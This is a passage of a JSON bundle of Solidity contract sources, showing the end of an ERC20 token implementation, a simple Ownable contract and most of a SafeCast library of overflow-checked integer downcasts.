amount) internal virtual {\n    require(account != address(0), \"ERC20: burn from the zero address\");\n\n    _beforeTokenTransfer(account, address(0), amount);\n\n    uint256 accountBalance = _balances[account];\n    require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n    unchecked {\n      _balances[account] = accountBalance - amount;\n      _totalSupply -= amount;\n    }\n\n    emit Transfer(account, address(0), amount);\n\n    _afterTokenTransfer(account, address(0), amount);\n  }\n\n  function _approve(\n    address owner,\n    address spender,\n    uint256 amount\n  ) internal virtual {\n    require(owner != address(0), \"ERC20: approve from the zero address\");\n    require(spender != address(0), \"ERC20: approve to the zero address\");\n\n    _allowances[owner][spender] = amount;\n    emit Approval(owner, spender, amount);\n  }\n\n  function _spendAllowance(\n    address owner,\n    address spender,\n    uint256 amount\n  ) internal virtual {\n    uint256 currentAllowance = allowance(owner, spender);\n    if (currentAllowance != type(uint256).max) {\n      require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n      unchecked {\n        _approve(owner, spender, currentAllowance - amount);\n      }\n    }\n  }\n\n  function _beforeTokenTransfer(\n    address from,\n    address to,\n    uint256 amount\n  ) internal virtual {}\n\n  function _afterTokenTransfer(\n    address from,\n    address to,\n    uint256 amount\n  ) internal virtual {}\n}\n"
      },
      "contracts/libraries/Ownable.sol": {
        "content": "// SPDX-License-Identifier: MIT\nimport \"./Context.sol\";\n\ncontract Ownable is Context {\n  address private _owner;\n  address private _previousOwner;\n  event OwnershipTransferred(\n    address indexed previousOwner,\n    address indexed newOwner\n  );\n\n  constructor() {\n    address msgSender = _msgSender();\n    _owner = msgSender;\n    emit OwnershipTransferred(address(0), msgSender);\n  }\n\n  function owner() public view returns (address) {\n    return _owner;\n  }\n\n  modifier onlyOwner() {\n    require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n    _;\n  }\n\n  function renounceOwnership() public virtual onlyOwner {\n    emit OwnershipTransferred(_owner, address(0));\n    _owner = address(0);\n  }\n\n  function transferOwnership(address newOwner) public virtual onlyOwner {\n    require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n    emit OwnershipTransferred(_owner, newOwner);\n    _owner = newOwner;\n  }\n}\n"
      },
      "contracts/libraries/SafeCast.sol": {
        "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)\n// This file was procedurally generated from scripts/generate/templates/SafeCast.js.\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow\n * checks.\n *\n * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can\n * easily result in undesired exploitation or bugs, since developers usually\n * assume that overflows raise errors. `SafeCast` restores this intuition by\n * reverting the transaction when such an operation overflows.\n *\n * Using this library instead of the unchecked operations eliminates an entire\n * class of bugs, so it's recommended to use it always.\n *\n * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing\n * all math on `uint256` and `int256` and then downcasting.\n */\nlibrary SafeCast {\n  /**\n   * @dev Returns the downcasted uint248 from uint256, reverting on\n   * overflow (when the input is greater than largest uint248).\n   *\n   * Counterpart to Solidity's `uint248` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 248 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint248(uint256 value) internal pure returns (uint248) {\n    require(\n      value <= type(uint248).max,\n      \"SafeCast: value doesn't fit in 248 bits\"\n    );\n    return uint248(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint240 from uint256, reverting on\n   * overflow (when the input is greater than largest uint240).\n   *\n   * Counterpart to Solidity's `uint240` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 240 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint240(uint256 value) internal pure returns (uint240) {\n    require(\n      value <= type(uint240).max,\n      \"SafeCast: value doesn't fit in 240 bits\"\n    );\n    return uint240(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint232 from uint256, reverting on\n   * overflow (when the input is greater than largest uint232).\n   *\n   * Counterpart to Solidity's `uint232` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 232 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint232(uint256 value) internal pure returns (uint232) {\n    require(\n      value <= type(uint232).max,\n      \"SafeCast: value doesn't fit in 232 bits\"\n    );\n    return uint232(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint224 from uint256, reverting on\n   * overflow (when the input is greater than largest uint224).\n   *\n   * Counterpart to Solidity's `uint224` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 224 bits\n   *\n   * _Available since v4.2._\n   */\n  function toUint224(uint256 value) internal pure returns (uint224) {\n    require(\n      value <= type(uint224).max,\n      \"SafeCast: value doesn't fit in 224 bits\"\n    );\n    return uint224(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint216 from uint256, reverting on\n   * overflow (when the input is greater than largest uint216).\n   *\n   * Counterpart to Solidity's `uint216` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 216 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint216(uint256 value) internal pure returns (uint216) {\n    require(\n      value <= type(uint216).max,\n      \"SafeCast: value doesn't fit in 216 bits\"\n    );\n    return uint216(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint208 from uint256, reverting on\n   * overflow (when the input is greater than largest uint208).\n   *\n   * Counterpart to Solidity's `uint208` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 208 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint208(uint256 value) internal pure returns (uint208) {\n    require(\n      value <= type(uint208).max,\n      \"SafeCast: value doesn't fit in 208 bits\"\n    );\n    return uint208(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint200 from uint256, reverting on\n   * overflow (when the input is greater than largest uint200).\n   *\n   * Counterpart to Solidity's `uint200` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 200 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint200(uint256 value) internal pure returns (uint200) {\n    require(\n      value <= type(uint200).max,\n      \"SafeCast: value doesn't fit in 200 bits\"\n    );\n    return uint200(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint192 from uint256, reverting on\n   * overflow (when the input is greater than largest uint192).\n   *\n   * Counterpart to Solidity's `uint192` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 192 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint192(uint256 value) internal pure returns (uint192) {\n    require(\n      value <= type(uint192).max,\n      \"SafeCast: value doesn't fit in 192 bits\"\n    );\n    return uint192(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint184 from uint256, reverting on\n   * overflow (when the input is greater than largest uint184).\n   *\n   * Counterpart to Solidity's `uint184` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 184 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint184(uint256 value) internal pure returns (uint184) {\n    require(\n      value <= type(uint184).max,\n      \"SafeCast: value doesn't fit in 184 bits\"\n    );\n    return uint184(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint176 from uint256, reverting on\n   * overflow (when the input is greater than largest uint176).\n   *\n   * Counterpart to Solidity's `uint176` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 176 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint176(uint256 value) internal pure returns (uint176) {\n    require(\n      value <= type(uint176).max,\n      \"SafeCast: value doesn't fit in 176 bits\"\n    );\n    return uint176(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint168 from uint256, reverting on\n   * overflow (when the input is greater than largest uint168).\n   *\n   * Counterpart to Solidity's `uint168` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 168 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint168(uint256 value) internal pure returns (uint168) {\n    require(\n      value <= type(uint168).max,\n      \"SafeCast: value doesn't fit in 168 bits\"\n    );\n    return uint168(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint160 from uint256, reverting on\n   * overflow (when the input is greater than largest uint160).\n   *\n   * Counterpart to Solidity's `uint160` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 160 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint160(uint256 value) internal pure returns (uint160) {\n    require(\n      value <= type(uint160).max,\n      \"SafeCast: value doesn't fit in 160 bits\"\n    );\n    return uint160(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint152 from uint256, reverting on\n   * overflow (when the input is greater than largest uint152).\n   *\n   * Counterpart to Solidity's `uint152` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 152 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint152(uint256 value) internal pure returns (uint152) {\n    require(\n      value <= type(uint152).max,\n      \"SafeCast: value doesn't fit in 152 bits\"\n    );\n    return uint152(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint144 from uint256, reverting on\n   * overflow (when the input is greater than largest uint144).\n   *\n   * Counterpart to Solidity's `uint144` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 144 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint144(uint256 value) internal pure returns (uint144) {\n    require(\n      value <= type(uint144).max,\n      \"SafeCast: value doesn't fit in 144 bits\"\n    );\n    return uint144(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint136 from uint256, reverting on\n   * overflow (when the input is greater than largest uint136).\n   *\n   * Counterpart to Solidity's `uint136` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 136 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint136(uint256 value) internal pure returns (uint136) {\n    require(\n      value <= type(uint136).max,\n      \"SafeCast: value doesn't fit in 136 bits\"\n    );\n    return uint136(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint128 from uint256, reverting on\n   * overflow (when the input is greater than largest uint128).\n   *\n   * Counterpart to Solidity's `uint128` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 128 bits\n   *\n   * _Available since v2.5._\n   */\n  function toUint128(uint256 value) internal pure returns (uint128) {\n    require(\n      value <= type(uint128).max,\n      \"SafeCast: value doesn't fit in 128 bits\"\n    );\n    return uint128(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint120 from uint256, reverting on\n   * overflow (when the input is greater than largest uint120).\n   *\n   * Counterpart to Solidity's `uint120` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 120 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint120(uint256 value) internal pure returns (uint120) {\n    require(\n      value <= type(uint120).max,\n      \"SafeCast: value doesn't fit in 120 bits\"\n    );\n    return uint120(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint112 from uint256, reverting on\n   * overflow (when the input is greater than largest uint112).\n   *\n   * Counterpart to Solidity's `uint112` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 112 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint112(uint256 value) internal pure returns (uint112) {\n    require(\n      value <= type(uint112).max,\n      \"SafeCast: value doesn't fit in 112 bits\"\n    );\n    return uint112(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint104 from uint256, reverting on\n   * overflow (when the input is greater than largest uint104).\n   *\n   * Counterpart to Solidity's `uint104` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 104 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint104(uint256 value) internal pure returns (uint104) {\n    require(\n      value <= type(uint104).max,\n      \"SafeCast: value doesn't fit in 104 bits\"\n    );\n    return uint104(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint96 from uint256, reverting on\n   * overflow (when the input is greater than largest uint96).\n   *\n   * Counterpart to Solidity's `uint96` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 96 bits\n   *\n   * _Available since v4.2._\n   */\n  function toUint96(uint256 value) internal pure returns (uint96) {\n    require(\n      value <= type(uint96).max,\n      \"SafeCast: value doesn't fit in 96 bits\"\n    );\n    return uint96(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint88 from uint256, reverting on\n   * overflow (when the input is greater than largest uint88).\n   *\n   * Counterpart to Solidity's `uint88` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 88 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint88(uint256 value) internal pure returns (uint88) {\n    require(\n      value <= type(uint88).max,\n      \"SafeCast: value doesn't fit in 88 bits\"\n    );\n    return uint88(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint80 from uint256, reverting on\n   * overflow (when the input is greater than largest uint80).\n   *\n   * Counterpart to Solidity's `uint80` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 80 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint80(uint256 value) internal pure returns (uint80) {\n    require(\n      value <= type(uint80).max,\n      \"SafeCast: value doesn't fit in 80 bits\"\n    );\n    return uint80(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint72 from uint256, reverting on\n   * overflow (when the input is greater than largest uint72).\n   *\n   * Counterpart to Solidity's `uint72` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 72 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint72(uint256 value) internal pure returns (uint72) {\n    require(\n      value <= type(uint72).max,\n      \"SafeCast: value doesn't fit in 72 bits\"\n    );\n    return uint72(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint64 from uint256, reverting on\n   * overflow (when the input is greater than largest uint64).\n   *\n   * Counterpart to Solidity's `uint64` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 64 bits\n   *\n   * _Available since v2.5._\n   */\n  function toUint64(uint256 value) internal pure returns (uint64) {\n    require(\n      value <= type(uint64).max,\n      \"SafeCast: value doesn't fit in 64 bits\"\n    );\n    return uint64(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint56 from uint256, reverting on\n   * overflow (when the input is greater than largest uint56).\n   *\n   * Counterpart to Solidity's `uint56` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 56 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint56(uint256 value) internal pure returns (uint56) {\n    require(\n      value <= type(uint56).max,\n      \"SafeCast: value doesn't fit in 56 bits\"\n    );\n    return uint56(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint48 from uint256, reverting on\n   * overflow (when the input is greater than largest uint48).\n   *\n   * Counterpart to Solidity's `uint48` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 48 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint48(uint256 value) internal pure returns (uint48) {\n    require(\n      value <= type(uint48).max,\n      \"SafeCast: value doesn't fit in 48 bits\"\n    );\n    return uint48(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint40 from uint256, reverting on\n   * overflow (when the input is greater than largest uint40).\n   *\n   * Counterpart to Solidity's `uint40` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 40 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint40(uint256 value) internal pure returns (uint40) {\n    require(\n      value <= type(uint40).max,\n      \"SafeCast: value doesn't fit in 40 bits\"\n    );\n    return uint40(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint32 from uint256, reverting on\n   * overflow (when the input is greater than largest uint32).\n   *\n   * Counterpart to Solidity's `uint32` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 32 bits\n   *\n   * _Available since v2.5._\n   */\n  function toUint32(uint256 value) internal pure returns (uint32) {\n    require(\n      value <= type(uint32).max,\n      \"SafeCast: value doesn't fit in 32 bits\"\n    );\n    return uint32(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint24 from uint256, reverting on\n   * overflow (when the input is greater than largest uint24).\n   *\n   * Counterpart to Solidity's `uint24` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 24 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint24(uint256 value) internal pure returns (uint24) {\n    require(\n      value <= type(uint24).max,\n      \"SafeCast: value doesn't fit in 24 bits\"\n    );\n    return uint24(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint16 from uint256, reverting on\n   * overflow (when the input is greater than largest uint16).\n   *\n   * Counterpart to Solidity's `uint16` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 16 bits\n   *\n   * _Available since v2.5._\n   */\n  function toUint16(uint256 value) internal pure returns (uint16) {\n    require(\n      value <= type(uint16).max,\n      \"SafeCast: value doesn't fit in 16 bits\"\n    );\n    return uint16(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint8 from uint256, reverting on\n   * overflow (when the input is greater than largest uint8).\n   *\n   * Counterpart to Solidity's `uint8` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 8 bits\n   *\n   * _Available since v2.5._\n   */\n  function toUint8(uint256 value) internal pure returns (uint8) {\n    require(value <= type(uint8).max, \"SafeCast: value doesn't fit in 8 bits\");\n    return uint8(value);\n  }\n\n  /**\n   * @dev Converts a signed int256 into an unsigned uint256.\n   *\n   * Requirements:\n   *\n   * - input must be greater than or equal to 0.\n   *\n   * _Available since v3.0._\n   */\n  function toUint256(int256 value) internal pure returns (uint256) {\n    require(value >= 0, \"SafeCast: value must be positive\");\n    return uint256(value);\n  }\n\n  /**\n   * @dev Returns the downcasted int248 from int256, reverting on\n   * overflow (when the input is less than smallest int248 or\n   * greater than largest int248).\n   *\n   * Counterpart to Solidity's `int248` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 248 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt248(int256 value) internal pure returns (int248 downcasted) {\n    downcasted = int248(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 248 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int240 from int256, reverting on\n   * overflow (when the input is less than smallest int240 or\n   * greater than largest int240).\n   *\n   * Counterpart to Solidity's `int240` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 240 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt240(int256 value) internal pure returns (int240 downcasted) {\n    downcasted = int240(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 240 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int232 from int256, reverting on\n   * overflow (when the input is less than smallest int232 or\n   * greater than largest int232).\n   *\n   * Counterpart to Solidity's `int232` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 232 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt232(int256 value) internal pure returns (int232 downcasted) {\n    downcasted = int232(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 232 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int224 from int256, reverting on\n   * overflow (when the input is less than smallest int224 or\n   * greater than largest int224).\n   *\n   * Counterpart to Solidity's `int224` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 224 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt224(int256 value) internal pure returns (int224 downcasted) {\n    downcasted = int224(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 224 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int216 from int256, reverting on\n   * overflow (when the input is less than smallest int216 or\n   * greater than largest int216).\n   *\n   * Counterpart to Solidity's `int216` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 216 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt216(int256 value) internal pure returns (int216 downcasted) {\n    downcasted = int216(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 216 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int208 from int256, reverting on\n   * overflow (when the input is less than smallest int208 or\n   * greater than largest int208).\n   *\n   * Counterpart to Solidity's `int208` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 208 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt208(int256 value) internal pure returns (int208 downcasted) {\n    downcasted = int208(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 208 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int200 from int256, reverting on\n   * overflow (when the input is less than smallest int200 or\n   * greater than largest int200).\n   *\n   * Counterpart to Solidity's `int200` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 200 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt200(int256 value) internal pure returns (int200 downcasted) {\n    downcasted = int200(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 200 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int192 from int256, reverting on\n   * overflow (when the input is less than smallest int192 or\n   * greater than largest int192).\n   *\n   * Counterpart to Solidity's `int192` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 192 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt192(int256 value) internal pure returns (int192 downcasted) {\n    downcasted = int192(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 192 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int184 from int256, reverting on\n   * overflow (when the input is less than smallest int184 or\n   * greater than largest int184).\n   *\n   * Counterpart to Solidity's `int184` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 184 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt184(int256 value) internal pure returns (int184 downcasted) {\n    downcasted = int184(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 184 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int176 from int256, reverting on\n   * overflow (when the input is less than smallest int176 or\n   * greater than largest int176).\n   *\n   * Counterpart to Solidity's `int176` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 176 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt176(int256 value) internal pure returns (int176 downcasted) {\n    downcasted = int176(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 176 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int168 from int256, reverting on\n   * overflow (when the input is less than smallest int168 or\n   * greater than largest int168).\n   *\n   * Counterpart to Solidity's `int168` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 168 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt168(int256 value) internal pure returns (int168 downcasted) {\n    downcasted = int168(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 168 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int160 from int256, reverting on\n   * overflow (when the input is less than smallest int160 or\n   * greater than largest int160).\n   *\n   * Counterpart to Solidity's `int160` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 160 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt160(int256 value) internal pure returns (int160 downcasted) {\n    downcasted = int160(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 160 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int152 from int256, reverting on\n   * overflow (when the input is less than smallest int152 or\n   * greater than largest int152).\n   *\n   * Counterpart to Solidity's `int152` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 152 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt152(int256 value) internal pure returns (int152 downcasted) {\n    downcasted = int152(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 152 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int144 from int256, reverting on\n   * overflow (when the input is less than smallest int144 or\n   * greater than largest int144).\n   *\n   * Counterpart to Solidity's `int144` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 144 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt144(int256 value) internal pure returns (int144 downcasted) {\n    downcasted = int144(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 144 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int136 from int256, reverting on\n   * overflow (when the input is less than smallest int136 or\n   * greater than largest int136).\n   *\n   * Counterpart to Solidity's `int136` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 136 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt136(int256 value) internal pure returns (int136 downcasted) {\n    downcasted = int136(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 136 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int128 from int256, reverting on\n   * overflow (when the input is less than smallest int128 or\n   * greater than largest int128).\n   *\n   * Counterpart to Solidity's `int128` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 128 bits\n   *\n   * _Available since v3.1._\n   */\n  function toInt128(int256 value) internal pure returns (int128 downcasted) {\n    downcasted = int128(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 128 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int120 from int256, reverting on\n   * overflow (when the input is less than smallest int120 or\n   * greater than largest int120).\n   *\n   * Counterpart to Solidity's `int120` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 120 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt120(int256 value) internal pure returns (int120 downcasted) {\n    downcasted = int120(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 120 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int112 from int256, reverting on\n   * overflow (when the input is less than smallest int112 or\n   * greater than largest int112).\n   *\n   * Counterpart to Solidity's `int112` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 112 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt112(int256 value) internal pure returns (int112 downcasted) {\n    downcasted = int112(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 112 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int104 from int256, reverting on\n   * overflow (when the input is less than smallest int104 or\n   * greater than largest int104).\n   *\n   * Counterpart to Solidity's `int104` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 104 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt104(int256 value) internal pure returns (int104 downcasted) {\n    downcasted = int104(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 104 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int96 from int256, reverting on\n   * overflow (when the input is less than smallest int96 or\n   * greater than largest int96).\n   *\n   * Counterpart to Solidity's `int96` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 96 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt96(int256 value) internal pure returns (int96 downcasted) {\n    downcasted = int96(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 96 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int88 from int256, reverting on\n   * overflow (when the input is less than smallest int88 or\n   * greater than largest int88).\n   *\n   * Counterpart to Solidity's `int88` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 88 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt88(int256 value) internal pure returns (int88 downcasted) {\n    downcasted = int88(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 88 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int80 from int256, reverting on\n   * overflow (when the input is less than smallest int80 or\n   * greater than largest int80).\n   *\n   * Counterpart to Solidity's `int80` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 80 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt80(int256 value) internal pure returns (int80 downcasted) {\n    downcasted = int80(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 80 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int72 from int256, reverting on\n   * overflow (when the input is less than smallest int72 or\n   * greater than largest int72).\n   *\n   * Counterpart to Solidity's `int72` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 72 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt72(int256 value) internal pure returns (int72 downcasted) {\n    downcasted = int72(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 72 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int64 from int256, reverting on\n   * overflow (when the input is less than smallest int64 or\n   * greater than largest int64).\n   *\n   * Counterpart to Solidity's `int64` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 64 bits\n   *\n   * _Available since v3.1._\n   */\n  function toInt64(int256 value) internal pure returns (int64 downcasted) {\n    downcasted = int64(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 64 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int56 from int256, reverting on\n   * overflow (when the input is less than smallest int56 or\n   * greater than largest int56).\n   *\n   * Counterpart to Solidity's `int56` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 56 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt56(int256 value) internal pure returns (int56 downcasted) {\n    downcasted = int56(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 56 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int48 from int256, reverting on\n   * overflow (when the input is less than smallest int48 or\n   * greater than largest int48).\n   *\n   * Counterpart to Solidity's `int48` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 48 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt48(int256 value) internal pure returns (int48 downcasted) {\n    downcasted = int48(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 48 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int40 from int256, reverting on\n   * overflow (when the input is less than smallest int40 or\n   * greater than largest int40).\n   *\n   * Counterpart to Solidity's `int40` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 40 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt40(int256 value) internal pure returns (int40 downcasted) {\n    downcasted = int40(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 40 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int32 from int256, reverting on\n   * overflow (when the input is less than smallest int32 or\n   * greater than largest int32).\n   *\n   * Counterpart to Solidity's `int32` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 32 bits\n   *\n   * _Available since v3.1._\n   */\n  function toInt32(int256 value) internal pure returns (int32 downcasted) {\n    downcasted = int32(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 32 